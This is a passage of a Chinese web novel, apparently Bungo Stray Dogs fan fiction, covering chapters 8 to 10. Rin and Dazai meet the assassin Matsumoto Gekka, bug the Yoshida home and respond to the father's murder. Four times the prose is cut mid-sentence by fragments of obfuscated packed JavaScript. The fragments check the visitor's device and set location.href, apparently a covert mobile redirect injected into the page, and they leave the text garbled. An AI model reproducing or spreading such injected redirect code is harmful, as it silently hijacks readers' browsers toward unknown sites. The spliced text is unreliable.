佐藤凉介摸了摸鼻子:“挺多的,有足足五个人呢。” 太宰笑道:“是加上佐藤你,一共才五个人吧?” 佐藤凉介心虚道:“那…那怎么了,你们根本不知道现在社团招个新有多难,我们灵异社人已经很多了,隔壁书法社还只有三个人呢。” 星野凛没理会佐藤凉介的话,她注意到窗户旁有一架老式钢琴静静立在那里,这该不会就是十大不可思议之三吧? 佐藤凉介一步三回头,叮嘱道:“那个,我去上个厕所,你们待在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037671|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里,不要乱走动,也不要乱碰社里的东西。” “佐藤君放心好了,我和凛酱才没有那么无聊,喜欢给自己找麻烦呢~” 太宰信誓旦旦地保证。 “是啊,你赶紧走吧。” 那么烂的演技真是不想看第二次。 佐藤凉介既然刻意走开,那她可不能辜负他的一番心意啊。 星野凛来到那架老式钢琴面前坐下:“烦人的家伙走了,你想听什么曲子,我弹给你听啊。” 太宰浮夸地捂住嘴,双眼放光:“诶——凛酱这是在邀请我共享二人世界吗?好开心啊~” “再装我就不弹了。” 太宰见好就收:“好过分,人家明明是真情流露的说~话说凛酱会弹钢琴吗?” 星野凛试着弹了几个音,闻言不满道:“哈?你看不起谁呢?” “那凛酱就弹一首贝多芬的《月光奏鸣曲》吧~” 悠扬婉转的琴音在手中流泻而出,月光照在星野凛的脸庞,将她弹奏钢琴的身影越拉越长。 星野凛简单弹了几段,没发生她预想的画面就停了下来:“我还以为弹了这个钢琴,会发生点意料之外的事呢。” “凛酱不会在等钢琴自动弹奏吧?好天真哦~十大不可思议很明显是佐藤君编造的。” “我当然知道是佐藤那家伙编造的,我就是好奇嘛,想看看这架钢琴有什么独特之处。” 太宰走过去弹了一个音:“要让凛酱失望了,这就是台普通的老式钢琴,没有什么特别之处呢~” “好吧,没有就没有。” 星野凛起身离开钢琴椅。 就在星野凛起身的一瞬间,钢琴自己动了,弹奏的还是刚刚星野凛弹过的《月光奏鸣曲》。 星野凛揉了揉眼睛,没眼花啊!居然真的在自己动?! “太宰你看到了吗?钢琴自己动了!!!” 说完还拧了一把太宰的胳膊。 太宰捂着胳膊痛呼:“好痛啊凛酱——是真的哦,钢琴真的自己动。” 钢琴在弹奏完《月光奏鸣曲》后,自行更换了一个全新的曲目,很难用语言来形容这首曲子的怪,没有具体风格,也没有具体的旋律。 难道说……和吉田友香看到鬼时听到的是一样的? 意识到这一点,星野凛连忙出声:“太宰,快把耳朵捂上!” 太宰把耳朵捂上:“凛酱是不是有什么新的发现?” “还记得吗?吉田友香当时描述的看见鬼时的情景,她说听到有奇怪的声音就晕过去了,醒来后的失聪连【请君勿死】都治不好,既然异能治不好,那就采用物理手段,直接捂住耳朵,不听应该就没事吧……” “部长大人还是那么喜欢自作聪明。” 一道讥诮的女声在四周响起,就像是开了立体环绕一样。 星野凛感觉自己的耳朵和大脑要裂开了,她忍着痛抬眼看向窗边。 来人一身红白相间的巫女服,及肩的黑发在空中翘起一个弧度,黑白分明的眸子中满是不屑: “哟,这不是我们敬爱的部长大人吗?怎么趴在地上了?” “你……是谁?” 星野凛艰难出声。 “哦,差点忘把异能收起来了,毕竟今时不同往日。” 对方恍然大悟,一拍手。 “重新认识一下,我叫松本月华,暗杀部的副部长。” 8. 第 8 章 松本月华将异能解除后,那些让人头痛欲裂的声波全都悄无声息地消失了。 星野凛放下捂住耳朵的手,转头问太宰:“你没事吧?能听见我说话吗?” 太宰摇头,看向松本月华:“我没事的凛酱,得感谢这位小姐的手下留情哦~” 松本月华打了个哈欠:“算你识相。” “半夜加班真的好累,还要适应霓虹的时差,为什么首领要派我先来呢?说来说去都怪你!” 松本月华指着星野凛抱怨道。 星野凛:“?怪我?我根本就不记得你是谁,一个人在那里自说自话就算了,还要怪到我头上?” 这家伙真的莫名其妙,上来就一副自大的嘴脸,真是让人不爽。 松本月华立马暴躁道:“哈?你这混蛋,当然怪你了,要不是你突然和首领对着干,不服从命令,还和深川干部叛出组织,老子根本就不用来这鸟不拉屎的横滨,你还敢说自己是无辜的?!” 星野凛:宕机.jpg 救命,好多信息量,她是叛徒?还背叛了组织?还有那个深川是谁啊? 星野凛看着松本月华炸毛的样子,小心翼翼道:“那你来横滨是为了把我抓回去吗?” “抓你?你也太看得起自己了吧?” 不抓她回去,也不杀她,这个首领究竟有什么目的…… “那你在背后搞出这一系列事件,到底想干嘛?” 松本月华没耐心道:“我!不!知!道!别来问我,有本事去问首领,一切都是首领的意思,本来上班就烦。” “……” 该死的,难道她上班就不烦了吗?从前天到现在一直都没有好好休息,对案件的也是一知半解,这个家伙在背后看戏看得那么开心,有什么资格向她卖惨。 星野凛懒得理会牢骚,直击重点:“佐藤是你安排的吗?” 松本月华弯腰与她对视,得意地笑了:“你猜啊。” 说完起身从窗边一跃而下消失了,只留下一句话,回荡在房间里:“这可是我专门为部长大人量身制定的难题,可千万不要让我失望哦——” 星野凛趴在窗边往下看,空无一人,这家伙真是像鬼一样来无影去无踪啊。 看到太宰还坐在地上,星野凛过去向他伸手:“你觉得那家伙说的话,有几分真几分假?” 太宰把手递给她:“咦?——凛酱是把我当成测谎仪了吗?” 星野凛用力一拉:“是啊,毕竟你在里世界那么出名。” 太宰借力而起,站好后笑道:“与其说是假的,不如说全是真的。” “诶——真的假的?” “真的哦~松本小姐并没有说谎。” 太宰轻轻拍了拍星野凛的肩膀,“凛酱,我知道你在想什么,但那都过去了不是吗?人要活在当下。” 是啊,人要活在当下,就算她真的是叛徒又怎样?既然选择了离开,就没必要去纠结为什么离开,自己当时那么做肯定是有理由的。 “太宰,我发现你还挺适合当心理咨询师的,虽然平时不靠谱,但关键时刻总是能力挽狂澜。” 太宰有些错愕,轻笑道:“是吗?凛酱是第一个这么说我的人。” “既然凛酱都这么说了,我要不要直接在武装侦探社里开个心理咨询室呢?一定能帮助很多迷茫的人找到方向!” 星野凛赶忙出声打断他这不切实际的幻想:“打住,就算社长同意,国木田君也绝对不会同意。” 她说完还绘声绘色地模仿国木田:“你这个每天都入水的自杀狂魔,有什么资格当心理咨询师?!” 太宰“噗嗤”一声笑弯了腰:“哈哈哈……凛酱模仿得太像了,真想让国木田君也来看看啊。” “都说不要乱碰了,你们怎么把钢琴给打开了!” 佐藤凉介在门口惊呼道。 “是佐藤君啊,去这么久,是迷路了吗?” “你这家伙是故意把我们留在这的吧?” 佐藤凉介着急辩解道:“没有!我不是故意把你们留在这里的,这一层根本就没有厕所,得去下一层才行,在来的路上你们也都见识过那个楼梯的可怕了,我这次走了三十层才回到这里。” “好吧,勉强相信你。” 才怪,这么明显的谎话,三岁小孩都不信。 星野凛坐到钢琴椅上:“你刚才说不要乱碰,可是我已经碰过了,不仅碰了,我还弹了呢。” 佐藤凉介大惊失色:“什么?!!你还弹了?我之前在楼梯里不是和你们说了吗?这是十大不可思议之三,碰了是会出人命的。” “托你的福,我们俩刚才确实差点出人命。” “你们看到了什么?” 太宰故弄玄虚道:“我和凛酱刚刚看到了好几个鬼,那场面……啧啧,都赶得上百鬼夜行了。” “百…百鬼夜行?你们没事吧?没受伤吧?” 佐藤凉介上前查探他们的身体。 星野凛伸出手掌挡在佐藤凉介的面前:“我们没事,只不过有个鬼让我们猜一下,谁是说谎的内鬼。” “你们这是在怀疑我?” “这么不明显吗?我以为已经很明显了。” 星野凛佯装苦恼道。 “你们……算了……” 佐藤凉介欲言又止。 外面天色渐亮,太阳将云染成橘红色,星野凛看了眼手表,已经是东京时间早上6:00点了。 “已经6:00点了,我们赶紧回侦探社吧,我要困死了。” 前天,哦不,是大前天到现在整整四天过去了,加起来她一共睡了没超过六个小时,太可怕了,最可怕的是她累死累活还一毛钱都没有。 太宰应道:“好哦~” * 武装侦探社内,星野凛躺在沙发上发出舒服的叹谓:“这才是侦探应有的待遇啊。” 太宰趴在工位上,幽怨地看着星野凛:“凛酱好过分,把我的沙发抢走了。” “什么叫你的沙发,这是侦探社的沙发,是公用的,懂吗?” “诶——” “抗议无效,明明是你让我加入侦探社的,我这几天没问你要辛苦费就不错了,占个沙发算什么。” “呜哇————实在是太过分了——” 太宰哀怨地控诉。 国木田推开门,看见星野凛和太宰正悠闲地拌嘴,气势汹汹走到两人中间:“你们两个还在社里偷懒,闹鬼案件解决得怎么样?” “国木田君真的好严厉啊,我们才刚休息没有两个小时,连觉都没有睡呢。” 星野凛躺在沙发上仰头看国木田。 “是啊是啊,国木田君你根本不知道我们有多辛苦。” 国木田拿出笔记本,轻咳一声,“好吧,那你们休息够了就去解决。” “知道啦~国木田君你都不知道缺少睡眠会变老的。” 太宰看着国木田殷切地说,“是真的哦~快点记下来。” 国木田拿起笔开始记,一笔一划:“缺少睡眠会……” “骗你的~” “啪”地一声钢笔被折断,国木田抓住太宰的衣领:“太宰你这家伙——” 星野凛忽视掉嘈杂的声音,闭目养神。 已知松本月华是这一切的幕后黑手,什么鬼什么声波攻击都是拜她的异能所赐,只不过不是她一个人完成的,还有个帮手协助她完成这一切。 佐藤凉介是目前嫌疑最大的,也是最刻意的,这家伙就差在脸上写“我是帮凶,快来抓我了”,但往往一般这种人都不会是真的帮凶,不过凡事总有例外,万一呢?星野凛不想放过任何例外。 调查了佐藤凉介,也该去吉田家看看了,虽然距离上次去只隔了不到两天,多去案发地点总没有错。 想通后星野凛立马起身,恰好中岛敦来送资料, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037672|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她揪住中岛敦的衣角往门口走:“敦君既然这么闲,就陪我去吉田家调查吧。” 中岛敦一脸懵,被星野凛一拽,脚步踉跄:“诶?——那个,星野小姐我还没整理完资料呢。” “回来再整理吧,快点出发了。” 太宰挣脱开国木田抓衣领的手,探头喊道:“凛酱等等我,我也要去——” “那你快点,过时不候。” “来了~” * 已经爬了五层了,还有两层才到吉田家的楼层。 星野凛对爬楼梯已经产生阴影了,尤其是那种遇上鬼打墙的楼梯。 “太宰先生,星野小姐的表情好严肃,她没事吧?” 中岛敦压低声音小声道。 “没事的哦,凛酱很明显是不想爬楼梯啦~” 太宰也压低声音。 “太宰先生怎么会知道星野小姐在想什么?” 明明才认识不到两个星期吧…… “敦君你不懂,这叫默契~” 星野凛默默数着楼层,“你们在嘀嘀咕咕什么呢?” 终于到第七层了。 “没什么~凛酱快去敲门吧。” 太宰一脸无辜。 搞什么啊,神神秘秘的。 星野凛去敲房门:“我们是武装侦探社的,请开一下门。” 敲了没几下门就开了,开门的是吉田友香的父亲。 “是上次的侦探,快点进来吧。” “打扰了。” 客厅里播放着无脑动漫,吉田琴子在厨房忙前忙后,看到星野凛他们点了点头:“友香在卧室,拜托你们了。” “琴子,我的寿司怎么还没做好?” 吉田纲瘫在沙发上抓着爆米花往嘴里塞。 “马上好——抱歉,我得先做饭。” “没关系。” 星野凛摆摆手。 果然,无论来吉田家多少次都会被这家人的相处模式给无语到。 “吉田先生什么都不做真的好吗?” 中岛敦小声吐槽。 星野凛小声回道:“当然好了,因为他是废物啊。” 太宰忍着笑对星野凛说:“凛酱快点去卧室找友香吧,我和敦君在外面等你。” “好吧。” 星野凛走到吉田友香的卧室前敲门:“友香,是我,我可以进来吗?” 敲完后才意识到不对,吉田友香又听不见,她这么有礼貌干嘛? 星野凛直接推门而入,卧室和上次比并没有什么不同,只是吉田友香的上床多了几个玩偶。 吉田友香坐在桌子前画画,丝毫没意识到星野凛的闯入。 星野凛走到吉田友香的面前,把手放在她眼前挥了挥。 吉田友香看到来人立刻把笔放下:“星野小姐,你来了。” 星野凛笑着点头,在桌子上随手拿了只笔,找了张纸写下:友香,我能问问关于你姐姐的事吗? 吉田友香看着纸上的字,疑惑道:“我姐姐?” “可以啊,星野小姐想问什么就问吧。” 星野凛有些诧异,居然这么淡定?一般遇到这种情况不应该缄口不谈吗? 压下心中的情绪,继续在纸上写下:你和姐姐关系怎么样?发生了那种事,你一定很难过吧? 吉田友香:“我和姐姐关系很好啊,什么事?星野小姐你今天真的好奇怪啊,问了好多我不理解的问题。” “……”?她奇怪?她一点也不奇怪好吗? 算了,不和这家伙计较,星野凛写完递给吉田友香,内容是:我向佐藤凉介打听消息,他说你姐姐去世了。 吉田友香把纸攥成团:“凉介他……他为什么要这么说……” 星野凛拍了拍她的肩膀以示安慰,吉田友香摇了摇头:“谢谢星野小姐,但你误会了。” “?” “我姐姐还活得好好的,并没有去世。” 9. 第 9 章 ?吉田友梨没死?虽然之前没完全相信佐藤凉介的话,但还是有点震惊。 “我也不知道凉介为什么这么说……” 吉田友梨垂下眼,喃喃道。 是诅咒吧?佐藤凉介不会是想诅咒吉田友香的姐姐去死吧?星野凛仔细回想他当时的样子,在有关吉田家的事上,没有一丝表演痕迹,说得跟真的一样。 星野凛重新拿了张纸,在上面写:先别管佐藤凉介了,友香你能和我说说关于你姐姐的事吗? 吉田友香回头看了眼双人床的上床:“我姐姐啊……她已经半年没回来了,在隔壁市工作。” “想必星野小姐也感受到我家的环境了,姐姐是个喜欢自由的人,从小就喜欢旅游,向往远方,经常和同龄的朋友出去玩,但父亲很严厉,不让她出去,甚至还关她禁闭。” “我从小就很软弱,上幼稚园时被同学欺负也不敢和老师说,姐姐很细心,察觉到我不开心就故意翘课,偷偷跟踪我去幼稚园,放学的时候和欺负我的同学家长理论,由于太激动就把对方给打了。” 这么猛的吗?吉田友香上幼稚园的话,那她姐姐当时最多上国中,一个国中生居然敢动手打一个成年人,为了妹妹做到这份上,她们之间的感情还真是深厚啊。 吉田友香笑着说:“听了这些,星野小姐你是不是觉得姐姐是一个很冲动很鲁莽的人?我知道星野小姐肯定会为了照顾我的感受而说不是,但……姐姐她就是一个冲动又鲁莽的人。” 星野凛没写纸条,也没出声,就这么看着吉田友香,静静地听她说。 “会因为我和父亲起冲突,会为了一只流浪猫四处奔走,筹钱募捐,成立流浪猫社团,会为了帮助朋友被学校处分……她总是一腔热血,天不怕地不怕,而我正好是她的反面,胆小,懦弱,不善良,也没有那么多朋友。” 吉田友香把画递给星野凛,上面画了她和她姐姐在一起吃饭的情景,“星野小姐,你知道吗?” “我已经半年多没和姐姐一起吃饭了,我好想念她做的饭团啊……” 星野凛把画放到桌子上,拿起笔写在纸上:我相信你姐姐会回来的,只是现在工作太忙了。对了,我能问问你姐姐为什么不在横滨工作吗? “谢谢星野小姐,是因为姐姐的朋友在隔壁市创业,姐姐就留在朋友的公司工作了。而且姐姐今年25了,父亲又是个非常传统的人,所以姐姐平时很少回家。” 什么传统,是迂腐吧?才25催什么催,吉田友香的父亲这么着急催婚,是怕自己活不到那时候了吗? “姐姐没有上大学,父亲觉得很没面子,哪怕好不容易回来一次,父亲也会大发雷霆,每次都这样,我与其期盼姐姐回来,倒不如让她别回来,我知道她回来是为了我,可我不想这样……不想让她承受父亲的刁难。” 吉田友香越说越低落,星野凛摸了摸她的头:没事的,友香不要责备自己,和你没关系,姐姐肯定也不希望看到你这么自责吧? 吉田友香看到星野凛递来的纸条,不由出声:“星野小姐……” 星野凛又安慰了吉田友香几句就去客厅了,她看到太宰和中岛敦居然也坐在餐桌上,准备和吉田夫妇一起吃饭。 太宰看到星野凛出来后,立马拍了拍旁边的空位:“凛酱快来这里坐,这可是我专门为你预留的~” “……” 这家伙怎么一点也不见外。 中岛敦弱声道:“太宰先生这样不好吧……我们还是走吧。” “没什么不好哦~凛酱快点过来嘛~” 吉田琴子把菜放在桌子上,招呼道:“星野小姐快过来坐吧,辛苦你们解决案件了。” 既然主人都发话了,星野凛就没再推脱:“谢谢琴子阿姨。” “喂,你们到底什么时候坐在餐桌前的?” 星野凛小声道。 “不是我,是太宰先生非要拉着我坐在这里,这样真的好吗?” 太宰云淡风轻道:“放心好了敦君,不会有问题的。” “凛酱我好像把家里的钥匙弄丢了,你能帮我找找吗?” 太宰掏了掏身上的口袋,苦恼道。 中岛敦四处查看地面:“诶——这么重要的东西居然丢了,太宰先生,我也来帮你一起找吧。” “好哦~” “凛酱也快点帮我找,不然我今天就有家不能回了,好可怜的说~” 星野凛喝了口水:“那和我一起住侦探社吧,我这几天都是在侦探社的沙发上睡的,我也很可怜的。” 太宰用手点了点餐桌,很刻意,但动作轻缓,没人注意到:“诶?明明我有邀请凛酱去我的员工宿舍住,是凛酱自己拒绝了。” 中岛敦趴在地上:“?太宰先生,这样不太好吧,就算你和星野小姐关系再好也不能住一起吧?” “所以我拒绝了,敦君。” 星野凛察觉到太宰的小动作后,假装帮他找:“真是拿你这家伙没办法,我就勉为其难地帮你找找吧。” 太宰雀跃道:“我就知道凛酱最好啦~” 星野凛小心翼翼爬到餐桌底下,轻微蜷缩身子,好方便抬头,她看到有一个特别小的窃听器贴在餐桌边缘,不仔细看根本发现不了。 这家伙可真有一手…… 餐桌下的空间实在是太小了,做个动作都得酝酿半天,她艰难地从口袋里掏出几个□□,安在上面,检查好,确认没问题后就慢慢起身,离开餐桌底下。 “没有找到,说不定落在侦探社了呢?你快点拉我一把。” 太宰笑意盈盈地去拉她:“没关系哦,我回去再好好找找吧。” 中岛敦:“……” 发生了什么?星野小姐怎么就答应帮忙找了?太宰先生为什么不找了?这是什么新型的加密通话吗…… “敦君不用找了,说不定被我落在侦探社了。” 中岛敦连忙起身:“好的,如果实在找不到可以和社长请示一下,重新配一把钥匙吧。” 星野凛拍了拍身上的灰尘:“真善良啊敦君,找不到就让这家伙睡大街吧,不用管他。” “诶?——” 吉田纲关掉无脑动漫,坐在餐桌前,椅子在瓷砖地板上发出刺耳的声音:“怎么还没做完,你是想饿死我吗?真是不像话。” “好了,我马上端过来,” 吉田琴子急忙走过来。 “怎么能……” 中岛敦还没有说出口的话被星野凛打断了,“敦君,我们该走了。” “诶?可是……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037673|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >太宰开口道:“好了,我们别在这里打扰了,赶紧回侦探社吧,我还要回去找钥匙呢~” 中岛敦欲言又止:“太宰先生……好吧……” 星野凛起身和吉田琴子道别:“琴子阿姨,饭我们就不吃了,回侦探社还有事要处理呢。” “辛苦你们了,路上小心。” * “星野小姐,你刚才为什么不让我把话说完?” 中岛敦在一旁给绿植浇水,郁闷道。 星野凛翻了翻太宰工位上堆积成山的文件,一个不小心文件全都砸向了她:“那是人家的家事,你就算把话说完了又能解决什么问题?” “可是无动于衷真的好吗?” 她从文件山里艰难爬出:“有什么不好?敦君,有时候我们要尊重别人的选择,吉田琴子过得再惨那也是她自己想要的,别人帮不了她。” 帮这种人最容易被背刺了,有时候冷漠点,能少很多麻烦。 中岛敦:“好吧……” 星野凛爬累了,翻身躺在文件上:“太宰那家伙到底有多久没认真工作了啊?怎么这么多文件……” “凛酱怎么能这么想我呢,我可是每天都有在认真工作哦~这些文件其实都是国木田君的啦~” 太宰刚从社长办公室出来,就听到了她的话。 中岛敦吐槽道:“幸好国木田先生不在这里,要是国木田先生知道了会生气的吧?” “话说回来,太宰先生,你的钥匙找到了吗?” “敦君不用担心,他根本就没丢钥匙。” “没丢?那为什么要让我们找?” “那只是个借口啦。” 星野凛起身坐在文件上:“他借着让我找钥匙的名义,钻到餐桌底下,多安几个窃听器。” “诶?什么时候的事?我怎么不知道,话说为什么要安那么多?” “当然是为了防止有的掉下来,或者出故障,多安几个更保险哦。” 太宰解释道。 星野凛看破了一切:“是因为经费不足,窃听器质量不好吧,好的窃听器根本不需要担心。” “凛酱不要说出来嘛~” “好了,赶紧来听一下,看看安得怎么样。” 星野凛拿起窃听器的一端开始听。 除了一些日常的对话之外没听到什么有用的信息。 太宰意味深长道:“不着急,总有一天会露出破绽的。” “我怎么可能不着急,这都快一个星期了,案件还没有什么进展,你快说说你有什么发现?” 星野凛又躺了下去。 “我没有什么发现哦,我又不是乱步先生,能一眼看破整个案件。” 太宰无辜道。 “真想见识一下这个乱步先生啊……和这种人一起探案肯定很轻松。” 中岛敦放下浇水壶,拿起剪刀给绿植修剪枝叶:“乱步先生快从外地回来了,星野小姐到时候就可以见到了。” “真的吗?那可真是期待啊。” “既然太宰没什么发现,那我就来说说我怀疑的帮凶吧,我怀疑佐藤凉介和吉田友香,这两个人的嫌疑都非常大。” 太宰毫不意外:“我也和凛酱怀疑的一样哦~” “其实,我还怀疑吉田纲和吉田琴子,反正我看谁都可疑。” 10. 第 10 章 距离上次去吉田家已经过去两天了,这期间星野凛一直在躺平,此时此刻,正躺在侦探社的沙发上呼呼大睡。 “早上好啊~大家。” 太宰端着咖啡走进社里,“啊嘞?凛酱怎么还在睡?” 侦探社的工作量很大,大家每天都很忙,现在社里只剩下太宰和星野凛这两个闲人了。 太宰闲得无聊,走到星野凛的跟前,捏住她的鼻子:“凛酱醒醒别睡了,快点起来了。” “别吵……” 星野凛突然翻身,换了个舒服的姿势继续睡。 太宰:…… “凛酱你快醒醒,侦探社着火啦——” 太宰继续在她耳边大喊。 星野凛一个激灵起身:“哪里着火了?灭火器在哪里?我要去灭火。” “骗你的~” 星野凛睁开眼看了看四周,见还是一片祥和,就松了口气:“还好是假的……” 吓死了,她还以为咖啡店的惨剧又要在侦探社上映了呢。 星野凛转头看向嬉皮笑脸的幕后黑手,满头黑线:“可恶,不要把我当成国木田君整啊!” “诶——我可没有整国木田君哦~” 星野凛看向窗外,万里无云,阳光明媚,是睡懒觉的好天气啊,她打了个哈欠准备躺下继续睡。 太宰见她又躺回去了,不满道:“凛酱不要睡了嘛,这么好的天气就应该出去走走啊。” “啊对对对,这么好的天气你应该去入水,或者去楼下咖啡店邀请店员小姐殉情,相信对方会看在今天天气好的份上选择不打你。” 星野凛用懒散且略带沙哑的声音说道。 “?……” “凛酱,一会国木田君就要回来了,要是他看见你还在睡觉的话……” 星野凛猛地坐起来,蓝色的头发有些凌乱:“你敢威胁我?你到底想干什么啊,我现在哪里也不想去,就想休息,请你不要打扰我,谢谢配合。” 太宰双手插兜坐在她旁边,温和道:“没有那回事啦~我怎么可能威胁凛酱嘛。” “话说凛酱,你已经两天没去调查案件了吧,这样真的没问题吗?” “我就算去了,也创造不了什么价值啊……我倒是想问问你呢,为什么要邀请我加入侦探社?你看看我,不仅不了解自己的异能,还没什么探案天赋,这么重要的案件居然交给我来处理,你脑子没问题吧?” 太宰闻言轻笑,“不是这样的,我邀请凛酱是因为凛酱身上有一种特殊的才能,这种才能不局限于异能,是只有凛酱才有的,别人都没有哦。” 星野凛伸手指了指自己,一脸懵:“我吗?有特殊才能?” 随后想到了什么,“是成为暗杀部部长的才能吗……” “不对,哎呀,总之凛酱不要纠结这些了~” 星野凛看着偌大的侦探社,除了她和太宰之外,空无一人,“好无聊啊,但我不想去调查案件,查来查去还是这几个人,也没有什么线索,到最后如果实在无法确定是谁,就干脆把他们都送去警察署审一遍吧。” “反正我又没有什么探案的天赋。” 太宰鸢色的眸子透着一丝精光:“随便啦~其实这个案件也并没有那么复杂哦,一般被你忽略的,习以为常的,甚至是摆在明面上的,很有可能就是答案。” “有点道理,但我现在不想思考关于案子的事,感觉多思考一秒就要死掉了。” “好吧,那我们来玩游戏打发时间吧~” 星野凛总算提起了兴致:“那我来规定玩什么,其实与其说是玩,不如说是提问。” 太宰不解道:“提问?难道凛酱是想让我考考你吗?” 她打了个响指,“bingo,和聪明人打交道就是舒服。” “虽然我失忆了,但记忆力还不错,你来考考我的记忆力吧。” 太宰开始思索:“提问——吉田家的餐桌布是什么颜色的?” “绿色加白色,等等,你怎么提和案件相关的,都说了不要提嘛,谁好不容易躺平两天还想着工作啊。” “诶?那我再换个。” “提问——国木田君一天要折断多少支钢笔?” “多的话十支,少的话四支吧,不过折断多少支都是拜你所赐啦,你这家伙怎么好意思问这种问题的。” “什么嘛,明明是国木田君比较暴力,不关我事哦~” 星野凛忍不住看了他一眼:“你信不信,如果国木田君在这里的话,你很有可能见不到明天的太阳,不对,这对你来说好像是奖励?” “才没有呢,我只喜欢和美丽温柔的女性殉情啦,自杀也不错,反正不想死在国木田君的手里。” 太宰抗议道。 星野凛正想说什么,被一通电话堵了回去:“你好,这里是武装侦探社。” 电话那头是吉田友香慌乱的声音:“是星野小姐吗?不管是谁,请快点来xxx居民楼,我父亲……我父亲他被杀害了。” 什么?吉田纲被杀害了?这也太突然了吧,这两天到底发生了什么啊…… 太宰看着星野凛凝重的表情,问道:“怎么了凛酱?是出什么事了吗?” “吉田友香的父亲死了。” “诶?——” * 吉田家内,接到吉田友香的报警电话后,警察也纷纷出动,不大的客厅里挤满了人。 星野凛和太宰赶到的时候,警察已经提前到了,太宰跨过警戒线进入屋内,看到了熟人:“真是凑巧啊,村上警官。” 村上警官把烟蒂扔进垃圾桶:“之前就听说这个案子委托给了侦探社,没想到是你们啊。” 星野凛用手把警戒线往上挑,略微弯腰跨过:“中午好啊,村上警官。” 村上警官点头示意:“你们调查了这么久,有什么发现吗?怎么看待这次的死亡事件?” 星野凛:“这起案件并不是简单的人为装鬼,而是异能犯罪者用异能制造出的一系列事件,只不过不是一个人完成的,还有个帮凶混迹在我们身边。” “异能犯罪者?你们知道对方的信息吗?” 星野凛准备开口,太宰抢在她前面说:“不认识哦,对方不是来自横滨的异能者,很有可能来自海外,背景复杂,势力庞大,我们一时之间也没有查到什么具体的信息。” 这家伙是在帮她打掩护吗? 如果让警察知道她和背后的异能犯罪者可能是同事关系,那她说不定也会被当成同伙抓起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037674|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来审问,总之就是很麻烦,太宰这么说很大程度上帮她杜绝了这种麻烦。 村上警官若有所思道:“这样啊……那你们了解死者家的情况吗?” 这次太宰没有故意抢在她前面说话,星野凛缓缓开口: “其实我们知道的也不是很多,死者叫吉田纲,有两个女儿,大女儿在隔壁市工作很少回家,小女儿是这次闹鬼事件的受害者,据说遭到了鬼的攻击,双耳失聪了,死者平时在家都是一副主人做派,经常使唤妻子,把妻子当免费保姆,和两个女儿的关系也很一般。” 星野凛这么说着,吉田友香忽然从卧室窜出来,一把抱住她:“星野小姐……我真的好怕……” 法医把吉田纲的尸体用裹尸袋妥善装好,向村上警官鞠躬:“死者被他杀的可能性很高,这里就拜托村上警官了,具体的结果还得先带回去解剖才能知道。” 村上警官点点头:“不要遗漏什么细节,仔细一点。” “这位想必就是死者的小女儿了吧。” 村上警官放缓语速:“小姑娘,我们接到你的报案后可是马不停蹄地就赶来了,你能把事情的经过叙述一遍吗?” “村上警官,友香她双耳失聪了,听不见。”星野凛感受到腰间越来越紧的力道,伸手拍了拍吉田友香的背,从裤子口袋里掏出一个小型记事本和钢笔。 看看她多敬业啊,和吉田友香对话都已经下意识地写字了。 村上警官想到星野凛之前说的话,才意识道:“抱歉,年纪大了,记忆力也跟着减退了。” "没关系。" 星野凛在记事本上写下:友香,我知道你现在很难过,但你不能一直沉浸在悲伤之中。能和我们说说到底发生了什么?你父亲到底是什么时候出事的?出事的那天你在哪里? 吉田友香吸了吸鼻子,眼眶通红,看到记事本上的字后,轻声回答: “谢谢星野小姐,其实也没发生什么,昨天晚上父亲嫌母亲做的饭难吃,就先回卧室休息了,过了一会父亲突然从卧室跑出来说有鬼要杀他,我们就以为他在开玩笑,没怎么在意,直到今天我出门帮母亲买菜回来后,就看到母亲躲在角落里大喊大叫,我走进一看,是父亲的尸体倒在了地上。” “自从发现父亲的尸体后,母亲的精神状态就变得很糟糕,现在连和人正常沟通都成问题了,星野小姐,我该怎么办……” 星野凛写完字把记事本递给她:不要怕,我一定会帮你把犯人揪出来的,你要相信我。 “谢谢星野小姐。” 听到道谢后,星野凛有些心虚,真想把自己的手给剁掉,没事瞎立什么flag,到时候抓不到犯人就尴尬了,就不该死要面子,活受罪的。 